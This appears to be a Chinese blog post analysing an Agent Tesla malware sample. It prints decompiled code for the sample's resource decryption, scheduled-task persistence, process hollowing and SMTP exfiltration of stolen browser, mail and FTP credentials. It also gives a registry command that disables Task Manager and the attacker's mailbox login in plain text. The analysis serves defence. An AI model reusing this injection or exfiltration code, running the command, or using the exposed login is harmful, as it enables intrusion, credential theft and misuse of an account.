样本信息

md5: fa548af33ac073be63464186b33198aa
filesize: 537.50kb
filetype:exe
编译时间:2020-05-22 02:59:52

文件的可疑行为:

样本分析

(去混淆:de4dot.exe)
资源:

tesla样本的一个小特点:会利用资源文件中的图片资源或PE资源解密出一个文件,再利用解密出文件的资源再解密出文件…类似套娃。
这里直接调试,通过调试得到

byte[] rawAssembly = this.method_2(Class25.smethod_4(), Class6.smethod_0(-921549368));  // encrypted2 newworldloader

dll名称为CoreEntity,之后在dll的MainMoudle函数里,调用register函数。register的两个参数分别为args数组的两个成员

进入Register函数调试:

再解密DLL文件中的资源文件,调试到最后会解密出一个以4D 5A开头的大数组,猜测是一个PE文件

dump出来的文件分析

Rezer0V4

dump出来得到一个名为Rezer0V4的文件。

文件信息:

md5:24f881e2fb6298f23bd8c1a6c7d2714f
filesize:329KB
filetype:.exe

放入沙箱分析,文件的一些可疑行为:

也是一个.net的样本,拖入dnspy分析。

含有的资源文件:


其中主要代码:

string text = Class4.smethod_3(); // 获得XML资源
string name = WindowsIdentity.GetCurrent().Name; // 获得当前线程所在系统的身份名
string tempFileName = Path.GetTempFileName(); // 创建临时文件// Class5.smethod_0(194241669):[LOCATION]
// Class5.smethod_0(194241716):[USERID]
//string_10:"C:\\Users\\w\\AppData\\Roaming\\IFaysgfEOJsfZd.exe"
// name:"DESKTOP-UPG6V8A\\w"
text = text.Replace(Class5.smethod_0(194241669), string_10).Replace(Class5.smethod_0(194241716), name);File.WriteAllText(tempFileName, text);
Process.Start(new ProcessStartInfo(Class5.smethod_0(194241701), string.Concat(new string[]{Class5.smethod_0(194242386), //"/Create /TN \"Updates\\"string_9,Class5.smethod_0(194242422), //  "\" /XML \""tempFileName,Class5.smethod_0(194242407) // "\""})){WindowStyle = ProcessWindowStyle.Hidden // 隐藏文件}).WaitForExit();
File.Delete(tempFileName); // 进程启动完了之后删除文件




主函数的最后一个函数:Class8.smethod_11(Class8.int_0);。对主函数及其子孙函数的分析:

if (Class8.int_0 != 4) // Class8.int_0 = 0{Class8.smethod_11(Class8.int_0);}// 以下为对最后一个函数及其中的子函数的分析
// Class8.smethod_11():
private static void smethod_11(int int_13)
{Class8.smethod_8(Class8.smethod_12(int_13), Class8.byte_0, true);
}// Class8.smethod_12:获得程序本身的位置
public static string smethod_12(int int_13)
{string result;switch (int_13){case 0:result = Assembly.GetEntryAssembly().Location;break;...}return result;// result返回程序本身的位置
}// Class8.byte_0:
private static byte[] byte_0 = Class3.smethod_1(Class3.smethod_2(Class3.smethod_0(Class5.smethod_0(194241650)), Class8.string_0));//Class5.smethod_0(194241650): 资源文件名,"ef3MQpgrT"//Class3.smethod_0: 功能为获取资源名
public static byte[] smethod_0(string string_0){ResourceManager resourceManager = new ResourceManager(string_0, Assembly.GetExecutingAssembly());return (byte[])resourceManager.GetObject(string_0);}
// 以下为两个解密函数,解密出来得到byte_1.
//Class3.smethod_2:根据给定字符串(解密密钥)更改给定资源
public static byte[] smethod_2(byte[] byte_0, string string_0)
{int num = 0;byte[] bytes = Encoding.BigEndianUnicode.GetBytes(string_0);checked{int num2 = (int)(byte_0[byte_0.Length - 1] ^ 112);byte[] array = new byte[byte_0.Length + 1];int num3 = byte_0.Length - 1;for (int i = 0; i <= num3; i++){array[i] = (byte)((int)byte_0[i] ^ num2 ^ (int)bytes[num]);num = ((num != string_0.Length - 1) ? (num + 1) : 0);}return (byte[])Utils.CopyArray(array, new byte[byte_0.Length - 2 + 1]);}
}
//Class3.smethod_1: 进一步处理。值保存在后面用到的byte_1里
public static byte[] smethod_1(byte[] byte_0)
{checked{byte[] array = new byte[byte_0.Length - 16 - 1 + 1];Buffer.BlockCopy(byte_0, 16, array, 0, array.Length);int num = array.Length - 1;for (int i = 0; i <= num; i++){byte[] expr_2E_cp_0 = array;int expr_2E_cp_1 = i;expr_2E_cp_0[expr_2E_cp_1] ^= byte_0[i % 16];}return array;}
}

将解密出来的byte_1大数组dump出来。暂且命名为byte_1。

继续看Class8.smethod_8的代码。发现其中有部分代码长得很像进程镂空的代码。

public static bool smethod_8(string string_9, byte[] byte_1, bool bool_0)
{bool result;bool flag;try{for (int i = 1; i <= 5; i++){if (Class8.smethod_9(string_9, byte_1, bool_0)) // string_9:文件的路径。byte_1:可疑文件数组{result = true;return result;}}flag = false;}...
}// Class8.smethod_9:
private static bool smethod_9(string string_9, byte[] byte_1, bool bool_0)
{// 一顿初始化int num = 0;string string_10 = Class5.smethod_0(194242415);Class8.Struct2 @struct = default(Class8.Struct2);Class8.Struct1 struct2 = default(Class8.Struct1);@struct.uint_0 = Convert.ToUInt32(Marshal.SizeOf(typeof(Class8.Struct2)));bool result;try{if (!Class8.CreateProcess(string_9, string_10, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null, ref @struct, ref struct2)) // 创建进程,string_9:文件的路径;string_10:"\"{path}\"";第六个参数:dwCreationFlags,值为4时为CREATE_SUSPENDED,即创建一个挂起进程{throw new Exception();}MethodInfo method = typeof(BitConverter).GetMethod(Class5.smethod_0(194242320)); // "ToInt32"object[] parameters = new object[]{byte_1,60};int num2 = Convert.ToInt32(method.Invoke(null, parameters));int num3 = BitConverter.ToInt32(byte_1, num2 + 26 + 26);int[] array = new int[179];array[0] = 65538;if (IntPtr.Size == 4) // Size定义即为4{// 获取线程上下文// Getthreadcontext:获取目标线程的当前CPU上下文信息 if (!Class8.GetThreadContext(struct2.intptr_1, array)){throw new Exception();}}else if (!Class8.Wow64GetThreadContext(struct2.intptr_1, array)){throw new Exception();}int num4 = array[41];int num5 = 0;if (!Class8.ReadProcessMemory(struct2.intptr_0, num4 + 4 + 4, ref num5, 4, ref num)) // 读取进程内存{throw new Exception();}if (num3 == num5 && Class8.NtUnmapViewOfSection(struct2.intptr_0, num5) != 0) // 强制卸载模块 {throw new Exception();}int int_ = BitConverter.ToInt32(byte_1, num2 + 80);int int_2 = BitConverter.ToInt32(byte_1, num2 + 42 + 42);// 申请虚拟内存int num6 = Class8.VirtualAllocEx(struct2.intptr_0, num3, int_, 12288, 64);if (num6 == 0){throw new Exception();}// 下面执行的是向进程内存中写入byte_1if (!Class8.WriteProcessMemory(struct2.intptr_0, num6, byte_1, int_2, ref num)){throw new Exception();}int num7 = num2 + 248;short num8 = BitConverter.ToInt16(byte_1, num2 + 3 + 3);for (int i = 0; i < (int)num8; i++){int num9 = BitConverter.ToInt32(byte_1, num7 + 6 + 6);int num10 = BitConverter.ToInt32(byte_1, num7 + 8 + 8);int srcOffset = BitConverter.ToInt32(byte_1, num7 + 20);if (num10 != 0){byte[] array2 = new byte[num10];Buffer.BlockCopy(byte_1, srcOffset, array2, 0, array2.Length);if (!Class8.WriteProcessMemory(struct2.intptr_0, num6 + num9, array2, array2.Length, ref num)){throw new Exception();}}num7 += 40;}byte[] bytes = BitConverter.GetBytes(num6);if (!Class8.WriteProcessMemory(struct2.intptr_0, num4 + 8, bytes, 4, ref num)){throw new Exception();}int num11 = BitConverter.ToInt32(byte_1, num2 + 40);array[44] = num6 + num11;if (IntPtr.Size != 4){if (!Class8.Wow64SetThreadContext(struct2.intptr_1, array)){throw new Exception();}}// 将byte_1写入之后,恢复线程上下文else if (!Class8.SetThreadContext(struct2.intptr_1, array)){throw new Exception();}// 唤醒挂起的进程if (Class8.ResumeThread(struct2.intptr_1) == -1){throw new Exception();}if (Class8.int_7 == 1){Class8.int_12 = Convert.ToInt32(struct2.uint_0);Class8.smethod_2();}}catch{// 获取进程id,并将进程kill掉Process processById =Process.GetProcessById(Convert.ToInt32(struct2.uint_0));processById.Kill();result = false;return result;}result = true;return result;
}

这里将我们原本拿到的样本给卸载掉了,并且注入通过资源解密出来的byte_1文件,实现进程镂空的操作。

byte_1

之后分析dump出来的byte_1

byte_1的信息:

md5:febb0803c665d15b1ae38e5ac007dfef
filesize:301kb
filetype:exe

文件行为:

调试。

调试到string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);这里,在火绒剑里就观察到进程调用了reg.exe,命令行:

// 禁用了任务管理器。
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

接着分析,程序调用了多个系统函数,如:

1. GetCurrentProcess()获取当前进程的进程名、进程id等信息
2. GetProcessesByName()创建新的与原进程所有现有资源相关的进程
3. MD5.Create("System.Security.Cryptography.MD5")创建 MD5 哈希算法的默认实现的实例。
4. GetUserName()获取系统用户名
5. GetComputerName()获取计算机名
6. GetFolderPath()获得指定文件夹的位置
7. GetDirectories()得到路径为dir的文件夹下面的所有文件夹以及路径

通过GetFloderPath获得system的路径从而获得hosts的地址,操作hosts文件

之后要获取浏览器用户信息,涉及到的浏览器有Iridium Browser、comodo dragon、cool novo、chromium、torch browser、7star、amigo、brave、centbrowser、chedot、coccoc、elements browser、epic privacy、liebao browser、uran、qip surf、sputnik、360 browser、orbitum、vivaldi、yandex browser、citrio、sleipnir 6、coowon、opera browser、edge chromium

列举出这些浏览器所在的文件目录,然后在系统文件夹中遍历,查看系统中是否存在这些目录。若存在,则证明计算机中有该浏览器的浏览历史。

之后在浏览器所在的文件夹里遍历,用Directories()得到浏览器所在路径的文件夹下面的所有文件夹以及路径。

挨个遍历,获取用户的浏览器内的一些数据,如登录某网站的用户名、密码等。

如下:(调着调着发现自己个的密码邮箱啥的都暴露了===

所以平时浏览啥网站的时候最好不要开保存密码这个功能==

调试过程中还发现了一个ip地址:108.167.156.111,查了一下,此地址为安全地址,白名单内,没啥作用。

之后继续调试,程序遍历了以上提到的浏览器的初始化文件,查看浏览器文件是否存在,窃取凭证

如:

C:\\Users\\w\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\profiles.ini
C:\\Users\\w\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini
C:\\Users\\w\\AppData\\Roaming\\Waterfox\\profiles.ini
C:\\Users\\w\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\profiles.ini
C:\\Users\\w\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\profiles.ini
C:\\Users\\w\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default\\EncryptedStorage
····

窃取一些邮件软件的凭证信息:

C:\\Users\\w\\AppData\\Local\\VirtualStore\\Program Files\\Foxmail\\mail\\
C:\\Users\\w\\AppData\\Roaming\\Thunderbird\\profiles.ini
···

FTP客户端:

C:\\Users\\w\\AppData\\Roaming\\FTPGetter\\servers.xml
C:\\cftp\\Ftplist.txt
···


之后执行下面一段代码,登录邮箱,将获取到的用户名、密码、凭证信息等通过smtp回传。

邮箱用户名和密码:

userName "dir.fb@tolipgoldenplaza.com"
password    "Golden@#$2019"

case 9u:{// NetworkCredential(dir.fb@tolipgoldenplaza.com,Golden@#$2019)NetworkCredential credentials = new NetworkCredential(<Module>.smethod_0(116716), <Module>.smethod_0(116740)); // smytpClient.Host = mail.tolipgoldenplaza.comsmtpClient.Host = <Module>.smethod_0(116636); smtpClient.EnableSsl = false;smtpClient.UseDefaultCredentials = false;arg_2EA_0 = (num * 2574551722u ^ 3010642641u);continue;}case 0u:{NetworkCredential credentials;//credentials主要内容:Password    "Golden@#$2019"  //UserName  "dir.fb@tolipgoldenplaza.com"smtpClient.Credentials = credentials;// 端口号 587smtpClient.Port = 587;// to = MailAddress("dir.fb@tolipgoldenplaza.com")MailAddress to = new MailAddress(<Module>.smethod_0(116660));// from = MailAddress("dir.fb@tolipgoldenplaza.com")MailAddress from = new MailAddress(<Module>.smethod_0(116300));mailMessage = new MailMessage(from, to);// kxy:"PW_w/DESKTOP-UPGxxxx"mailMessage.Subject = kxy;arg_2EA_0 = (num * 3101722157u ^ 2680703598u);continue;}case 15u:mailMessage.IsBodyHtml = true; // 邮件信息以html代码形式发送arg_2EA_0 = 3554138048u;continue;smtpClient.Send(mailMessage); // smtp回传
mailMessage.body:
Time: 08/09/2021 17:32:06
<br>User Name: x
<br>Computer Name: DESKTOP-UPxxxx
<br>OSFullName: Microsoft Windows 10 专业版
<br>CPU: Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz
<br>RAM: 2046.98 MB
<br><hr>URL:https://passport.threatbook.cn/login
<br>\r\nUsername:xxx
<br>\r\nPassword:xxxx
<br>\r\nApplication:Edge Chromium
<br>\r\n<hr>\r\nURL:https://cgctf.nuptsast.com/
<br>\r\nUsername:xxxxx
<br>\r\nPassword:xxxxxx
<br>\r\nApplication:IE/Edge
<br>\r\n<hr>\r\n

总结:

  1. 源程序为一个.net样本,内含有几个图片资源和一个名为Encrypted2的PE文件,运行过程中利用PE资源解密出一个dll文件

  2. 之后调用dll文件里的Register函数,以源文件的xak····图片资源作为参数,一顿操作解密出另一个PE文件Rezer0V4

  3. Rezer0V4:算是一个核心文件,运行之后进程行为:

    • 解密资源中的xml文件,完事之后放入临时文件中
    • 获取schtasks.exe,设置计划任务
    • 利用图片资源解密出执行主要操作的PE文件,type_1
    • *利用进程镂空技术,将解密出来的PE文件注入到目标进程中,实现进程注入
  4. type_1:行为操作的主要文件。主要行为:

    • 修改注册表,禁用任务管理器
    • 获得hosts地址,操作hosts文件
    • *获取用户浏览器的信息,如登录某网站的用户名、密码。
    • *之后将获得的信息通过smtp发送邮件的形式,回传给dir.fb@tolipgoldenplaza.com.邮箱密码:Golden@#$2019
  5. 其他的低危操作:

    • 获取文件自己所在的路径
    • 获取系统用户名及其他信息
    • 获取特殊目录所在的路径
    • 最后一个文件分析过程中有很多sleep函数,拖慢分析时间
  6. 窃取以下软件的凭证信息(浏览器也太多了===

类型 名称
浏览器 Comodo Dragon、7Star、MapleStudio ChromePlus、Elements Browser、CocCoc Browser、Kometa、Iridium、Brave-Browser、Torch、Citrio、QIP Surf、Orbitum、Chromium、360Chrome、Sputnik、Amigo、Opera Stable、CentBrowser、Uran、YandexBrowser、Coowon、liebao、Chedot、Sleipnir5、Vivaldi、Epic Privacy Browser、Edge、Firefox、SeaMonkey、Flock Browser、BlackHawk、Cyberfox、K-Meleon、icecat、Pale Moon、Comodo IceDragon、Waterfox、Psi+、Psi、QQBrowser、Chrome、falkon、UCBrowser
邮件 Postbox、Claws-mail、Foxmail、Thunderbird、Trillian、Opera Mail
FTP客户端 FileZilla、FTPGetter、SmartFTP、CoreFTP、FTP Navigator
下载管理 jDownloader

注:文件大部分用到了混淆,用de4dot.exe(最好最新版)去混淆。在看雪和吾爱上都能下载到。

Agent Tesla样本分析相关推荐

  1. NEMUCOD病毒jse样本分析

    该病毒使用微软的JScript编写,能够直接运行在Windows操作系统之上,采用了加密和混淆手段对抗监测,可检测是否运行在虚拟机中和系统中是否存在分析工具,可感染可移动存储介质,主要功能为下载器.C ...

  2. R语言回归模型构建、回归模型基本假设(正态性、线性、独立性、方差齐性)、回归模型诊断、car包诊断回归模型、特殊观察样本分析、数据变换、模型比较、特征筛选、交叉验证、预测变量相对重要度

    R语言回归模型构建.回归模型基本假设(正态性.线性.独立性.方差齐性).回归模型诊断.car包诊断回归模型.特殊观察样本分析.数据变换.模型比较.特征筛选.交叉验证.预测变量相对重要度 目录

  3. CVE-2010-2883 从漏洞分析到样本分析

    本文章将从漏洞利用分析开始,到样本分析结束,其中涉及到的知识点有PDF格式.TTF字体格式.缓冲区溢出漏洞利用.PE文件格式.软件脱壳和恶意代码分析.其中会演示一些基本操作,方便初学者进行复现. 前置 ...

  4. Android版本的Wannacry文件加密病毒样本分析(附带锁机)

    一.前言 之前一个Wannacry病毒样本在PC端肆意了很久,就是RSA加密文件,勒索钱财.不给钱就删除.但是现在移动设备如此之多,就有一些不法分子想把这个病毒扩散到移动设备了,这几天一个哥们给了一个 ...

  5. [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  6. APT样本分析 -plugx家族RAT⽊⻢

    APT样本分析 - plugx家族RAT⽊⻢ ⼀.样本概述 样 本 从 海 莲 花 服 务 器 扒 下 来 的 ( 经 提 醒 修 改 , 原 先 错 误 归 类 为 海 莲 花 ) , wsc_pr ...

  7. 新变种Emotet恶意样本分析

    样本信息 表1.1 样本信息表 文件 1.doc 大小  190976 字节 修改时间  2021年12月2日, 10:30:02 MD5 2EFBE18F2ED8AE0D4648B68596DFA0 ...

  8. incaformat蠕虫病毒样本分析及查杀防范措施

    2021incaseformat蠕虫病毒 一.病毒简介 二.样本分析 三.查杀与恢复方式 四.预防措施 一.病毒简介 病毒名称:incaseformat 病毒性质:蠕虫病毒 影响范围:windows ...

  9. 多层Android锁机样本分析

    Android锁机软件分析 作者:云在天(Harry)吾爱破解 原文地址:多层Android锁机样本分析 https://www.52pojie.cn/thread-701201-1-1.html ( ...

  10. 记一次粗浅的钓鱼样本分析过程

    原创稿件征集 邮箱:edu@antvsion.com QQ:3200599554 黑客与极客相关,互联网安全领域里的热点话题漏洞.技术相关的调查或分析,稿件通过并发布还能收获200-800元不等的稿酬 ...

最新文章

  1. 2*2矩阵训练集比例对BP神经网络分类性能影响
  2. mysql中当前时间九点_MySQL 获得当前日期时间(以及时间的转换)
  3. NoHttp开源Android网络框架1.0.0之架构分析
  4. Serial Old收集器和Parallel Old收集器
  5. Python内置函数iter()语法及应用
  6. javascript 连续滚动
  7. Java实现栈和队列
  8. php怎么触发js函数,如何从PHP调用JavaScript函数?
  9. sip 软电话 java源码,完美的 SIP 软电话
  10. 微信图片去除马赛克_3个实用的图片去马赛克方法
  11. 星星之火-11:什么是无线资源以及无线资源管理RRM?
  12. kali安装磊科NW392教程
  13. JAVA实现排列组合
  14. 2022年:企业绩效管理蓝图
  15. macOS Monterey 12.3 (21E230) 虚拟机 IOS 镜像
  16. 程序代码!!!!——机械故障诊断程序大礼包
  17. 【Python百日进阶-数据分析】Day325 - plotly.express.scatter_3d():3D散点图
  18. 网易我的世界下的服务器目录在哪个文件夹,网易我的世界手机版存档导出在哪个文件夹 | 手游网游页游攻略大全...
  19. Quill编辑器内置样式配置
  20. Apipost私有化部署活动即将火热开启,企业无忧

热门文章

  1. 2022 最新 R 语言 与 RStudio 安装配置教程
  2. 【ANSYS命令流】定义单元类型与实常数
  3. 前言-小迪web安全渗透培训视频笔记
  4. ZZULIOJ1010
  5. triu matlab,matlab triu
  6. 如何将NFC读卡器库移植到Kinetis K64F微控制器
  7. 同济第七版高数资料(教材+习题解答)
  8. 5G+折叠屏:华为Mate Xs打造多项创新体验
  9. creo数控编程怎么样_creo3.0数控编程加工使用实例视频教程入门到精通 车床编程...
  10. 手把手教你写CSS行内样式与内联样式